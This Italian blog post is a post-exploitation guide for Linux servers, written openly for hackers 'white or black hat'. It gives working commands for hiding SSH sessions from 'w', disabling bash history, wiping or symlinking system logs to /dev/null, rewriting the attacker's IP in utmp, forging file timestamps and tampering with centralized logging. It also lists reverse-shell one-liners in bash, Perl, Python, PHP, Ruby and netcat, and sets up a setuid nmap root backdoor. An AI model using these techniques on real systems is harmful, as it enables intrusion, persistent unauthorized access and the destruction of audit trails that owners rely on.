Post ExploitationProbabilmente nel bene o nel male, almeno una volta nella vita, vi siete trovati a dover effettuare un accesso anonimo con ssh su un server in cui preferireste restare anonimi (fatti vostri).
Sicuramente, a prescindere se siete hacker dal cappello bianco o nero poco importa. In questo post ho cercato di riassumere una serie di consigli e pratiche per non farsi beccare dal sysadmin di turno e come coprire le vostre tracce, la famosa fase post exploitation.

 

 

Di norma per verificare la presenza di utenti loggati nel sistema molti sysadmin usano il comando ‘w’. Esiste un’opzione in ssh che permette di non apparire nella lista del comando ‘w’.

Per connetterci usiamo questa sintassi:

# ssh -T [email protected] bash -i

Questo ci permetterà di connetterci senza allocare un TTY sul server ma di simularne una successivamente.

Per chi ne avesse bisogno si può nascondere anche l’inserimento delle informazioni dell’host remoto nel file know_host utilizzando:

# ssh -T -o UserKnownHostFile=/dev/null [email protected] bash -i

Però queste modalità di connessione, hanno dei problemi. Infatti alcuni comandi come ‘man’ e ‘less’ vengono stampate a schermo interamente, senza avere la possibilità di usare lo scroll. Il comando ‘screen’ invece si rifiuterà proprio di funzionare.

[nomeutente@ilmioserver ~]$ screen
Must be connected to a terminal.

Per risolvere questi problemi, possiamo, grazie a Python, simulare una shell completa.

[nomeutente@ilmioserver ~]$ python -c ‘import pty;pty.spawn(“/bin/sh”)’

La quale restituirà

sh-3.2$

Putroppo i comandi tipo ‘ps aux’ restituiranno un output che verrà troncato a 80 caratteri, ma questo può essere superato con una pipe a ‘cat’:

sh-3.2$ ps aux | cat

Ricordatevi una cosa molto importante, eseguire un comando python per creare la shell creerà a sua volta un processo che, una volta terminata l’attività, si deve ricordare di killare.

Sistemi di Log

Una volta loggati nell’host, è pratica comune di disabilitare i meccanismi di log. L’ambiente bash utente ha delle variabili che controllano la sessione loggata. Il log in questione viene registrato su un file una volta usciti dalla shell. Si può manipolare le variabili d’ambiente in modo che si possa inibire la scrittura della sessione sul file .bash_history.

Di seguito un elenco di comandi che disattivano il log sul file .bash_history:

[nomeutente@ilmioserver ~]$ unset HISTFILE
[nomeutente@ilmioserver ~]$ export HISTFILE=
[nomeutente@ilmioserver ~]$ export HISTFILE=/dev/null
[nomeutente@ilmioserver ~]$ export HISTSIZE=0
[nomeutente@ilmioserver ~]$ export HISTFILESIZE=0
[nomeutente@ilmioserver ~]$ export HISTIGNORE=*
[nomeutente@ilmioserver ~]$ export HISTCONTROL=ignorespace # all commands prefixed with
# a space will be ignored

Gli ultimi due comandi riscrivono il comando stesso nel file .bash_history senza continuare il logging.

Di seguito invece altri comandi però leggermente intrusivi e che alle brutte potrebbero tornarvi utili.

[nomeutente@ilmioserver ~]$ history -c
[nomeutente@ilmioserver ~]$ ln -fs /dev/null .bash_history
[nomeutente@ilmioserver ~]$ rm .bash_history && mkdir .bash_history

I log di sistema sono altrettanto importanti come i log dell’utente, ma richiedono un utenza root per essere manipolati. Una cosa veloce e sporca da fare (e molto intrusiva) è quello di creare dei symlink dei log verso /dev/null

[root@ilmioserver ~]# find /var/log -exec ln -fs /dev/null {} \;

Presupponendo di avere l’accesso root, la cosa più saggia sarebbe quella di sostituire il proprio IP nei file di log attraverso un comando e rimuovere così ogni tipo di attività che potrebbe riportare a noi.

Le pathlog più comuni sono:

/var/log/messages*
/var/log/secure*
/var/log/audit*
/var/log/auth*

In aggiunta, linux registra i login in altri file di log. Questi file sono diversi dagli altri e hanno una loro struttura dati, differente a quella in plaintext. A causa di questa tipologia di struttura di solito questi file vengono cancellati direttamente (no buono), rischiando di compromettere la propria presenza.

/var/log/btmp
/var/log/wtmp
/var/log/lastlog
/var/run/utmp

Ci sono diversi comandi in Linux che accedono a questi log per estrarre i dati da visualizzare in output. I comandi sono: ‘w’, ‘who’, ‘last’, ‘lastb’ e ‘lastlog’.

Come sempre, ogni reazione corrisponde una contro-reazione, per questo si deve fare attenzione, quando si prova ad eliminare un file di log. A volte uno step di differenza o un comando in più, può fare la differenza,  tra avvisare il sysadmin di un’anomalia o allertarlo con un allarme di compromissione del sistema, ce ne passa (a volte può dipendere dal sysadmin).  Cancellare i log non è una pratica consigliata, ma se siete costretti a farlo fatelo in modo corretto.

Quindi se cancelliamo un file di log

[root@ilmioserver ~]# rm -f /var/log/wtmp 

Se il sysadmin in quel momento esegue un ‘last’

[root@ilmioserver ~]# last
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.

Allora ci si deve ricordare di eseguire subito o tramite pipe

[root@ilmioserver ~]# touch /var/log/wtmp
[root@ilmioserver ~]# last
wtmp begins Mon Dic 25 22:59:04 2013
[root@ilmioserver ~]# 

In realtà, la cosa più corretta da fare è modificarne il contenuto, sostituendo il proprio IP con un IP diverso e sottolineo IP! Di seguito un esempio.

[root@ilmioserver ~]# w
11:21:03 up 13 days, 1:35, 1 user, load average: 3.06, 2.04, 1.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fabio ttyp0 192.168.11.25 22:22 0.00s 0.05s 0.01s sshd: fabio [priv]

[root@ilmioserver ~]# sed -i ‘s/192.168.11.25/82.168.54.15/g’ /var/run/utmp
[root@ilmioserver ~]# w
11:21:03 up 13 days, 1:35, 1 user, load average: 3.06, 2.04, 1.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fabio ttyp0 82.168.54.15 22:22 0.00s 0.05s 0.01s sshd: fabio [priv]

Perfetto no? Ma non è finita qui. Bisogna prendere in considerazione anche i log generati da terze parti. Sto parlando di Apache, MySQL o Pure-Ftpd ad esempio. La maggior parte delle applicazioni di default loggano sempre nella directory /var/log, ma è buona pratica quella di verificare sempre il processo con un ‘ps aux’ perché potrebbero non seguire la default configuration.

Veniamo alle cose serie, fin’ora ci siamo occupati sempre di singole macchine da dover sistemare prima di fare logout. Dobbiamo prendere in considerazione l’opzione dei datacenter che ovviamente non storicizzano i log direttamente, ma utilizzano tramite dei software specifici (a volte), un sistema distribuito di gestione centralizata dei log, che vengono reindirizzati  cosi come sono generati verso altri server.

Si deve individuare in primis, il software che si occupa del log distribution e verificare se è possibile disattivarlo o manometterlo per nascondere le proprie tracce. Ad ogni modo, se si tenta di disattivarlo, si potrebbe generare un errore da qualche parte mettendo in allerta il SOC. Manometterlo al punto N significa che tutti i log generati da N-1 sono già stati inviati al server centrale, quindi…fantasia e buon divertimento.

Voi cosa fareste a questo punto? Scrivetemi nei commenti la vostra idea.

Timestamps

Quando si modifica un file su una macchina in cui è presente il sysadmin è buona regola seguire delle accortezze per cercare di rimanere hidden sul sistema. Quando si modifica un file su una macchina compromessa è consigliato ripristinare il timestamp a com’era originariamente per non far insospettire l’admin. Questa regola potrebbe eludere anche alcuni script che controllano la data di modifica ultima di un file di sistema.

[nomeutente@ilmioserver ~]$ touch fileditest.log
[nomeutente@ilmioserver ~]$ stat fileditest.log
File: `fileditest.log’
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 9086h/39902d Inode: 103219222 Links: 1
Access: (0664/-rw-rw-r–) Uid: ( 500/ nomeutente) Gid: ( 500/ nomeutente)
Access: 2011-09-09 19:45:44.000000000 -0700
Modify: 2011-09-09 19:45:44.000000000 -0700
Change: 2011-09-09 19:45:44.000000000 -0700

Ripristiniamolo ad una data passata, con il comando ‘touch -t’

[nomeutente@ilmioserver ~]$ touch -t 201102160423.51 fileditest.log
[nomeutente@ilmioserver ~]$ stat fileditest.log
File: `fileditest.log’
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 9026h/36902d Inode: 103219222 Links: 1
Access: (0664/-rw-rw-r–) Uid: ( 500/ nomeutente) Gid: ( 500/ nomeutente)
Access:  2011-02-16 04:23:51.0017777760 -0800
Modify:  2011-02-16 04:23:51.0017777760 -0500
Change: 2011-09-09 19:47:37.000000000 -0700
[nomeutente@ilmioserver ~]$ ls -l fileditest.log
-rw-rw-r– 1 storm storm 0 Feb 15 2011 fileditest.log
[nomeutente@ilmioserver ~]$

Come vedete l’unico dato che non prende le modifiche è “Change“. Esiste una tecnica per modificare anche quel parametro.

Cambiamo la data di sistema e immediatamente dopo diamo il comando di ‘touch’ per poi ripristinare la data di sistema,ed  il gioco è fatto. Sfortunatamente non sempre questa tecnica va a segno, in alcuni casi se si ha a che fare con i VPS la data è sincronizzata permanentemente con il clock hardware, che no permette questo tipo di attività.

Quindi se siamo fortunati possiamo usare:
[root@ilmioserver ~# date -s “2011-02-16 04:23:51”; touch test.log
Tue Feb 15 03:23:51 EST 2011

[root@ilmioserver] ~# stat test.log
File: `test.log’
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: fd01h/64769d Inode: 98059 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2011-02-16 04:23:51.0017777760 -0500
Modify: 2011-02-16 04:23:51.0017777760 -0500
Change: 2011-02-16 04:23:51.0017777760 -0500

Reverse Shell

Vediamo insieme diversi modi per creare una reverse shell, senza l’utilizzo di meterpreter. Di seguito vi mosterò alcuni comandi one-line che non richiedono il supporto di altri tool. Assumiamo il caso in cui l’host ricevente abbia l’ip 10.0.0.1. Questi esempi sono stati presi da http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet dove potrete trovarne anche altri.

Bash
$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl
$ perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);
open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

Python
$ python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

PHP
$ php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
# Assuming that the TCP connection uses file descriptor 3

Ruby
$ ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;
exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

Per fare una reverse shell con xterm eseguiamo questo comando sulla macchina target.

$ xterm -display 10.0.0.1:1

mentre quest’altro nella macchina ricevente.

$ Xnest :1
$ xhost +targetip

Un classico dei classici, netcat…

$ nc -e /bin/sh 10.0.0.1 1234

Alcune versioni di netcat non supportano il flag -e, in questi casi si può usare questo comando:

$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Mantenimento dell’accesso

Una volta che abbiamo permessi root, vorremmo sicuramente cercare di mantenere un accesso al sistema. In alcuni casi non si ha voglia di scaricare un rootkit. Perché non usare nmap come una backdoor?

Nmap ha una funzionalità chiamata interactive-mode, che ha la caratteristica, oltre a quella di effettuare un port scan senza fare broadcasting dei tuoi parametri verso chi è loggato nel sistema, ma anche quella di eseguire dei comandi di shell. Se facciamo un `man nmap` e andiamo a leggere le caratteristiche di –interactive

–interactive (Start in interactive mode) .

Starts Nmap in interactive mode, which offers an interactive Nmap
prompt allowing easy launching of multiple scans (either
synchronously or in the background). This is useful for people who
scan from multi-user systems as they often want to test their
security without letting everyone else on the system know exactly
which systems they are scanning. Use –interactive to activate this
mode and then type h for help. This option is rarely used because
proper shells are usually more familiar and feature-complete. This
option includes a bang (!) operator for executing shell commands,
which is one of many reasons not to install Nmap setuid root..

Ovviamente ignoriamo il loro consiglio e eseguiamolo da root :)

[root@ilmioserver] ~# chmod u+s /usr/bin/nmap
[root@ilmioserver] ~# logout
[user@ilmioserver] ~$ nmap –interactive

Starting Nmap V. 5.21 ( http://nmap.org )
Welcome to Interactive Mode — press h <enter> for help
nmap> !sh
# whoami
root

Questo è un modo per creare una shell root ogni volta che ci pare senza fare troppo rumore, è pur vero che si ha la necessita di aver installato nmap e non tutti ce l’hanno di solito. L’unico alert che potrebber far venire in mente qualche sospetto all’admin inesperto è il setuid bit su nmap. Ma potrebbe essere ignorato perché potrebbe essere logico per l’admin che lo scanner esiga dei permessi privilegiati per effettuare il suo lavoro..

Probabilmente il vostro collega sistemista la penserà uguale…

“Awareness is the best weapon against hackers…”

Cosa avreste fatto in alcuni casi? Conoscete altre tecniche? Parliamone, lasciatemi un commento.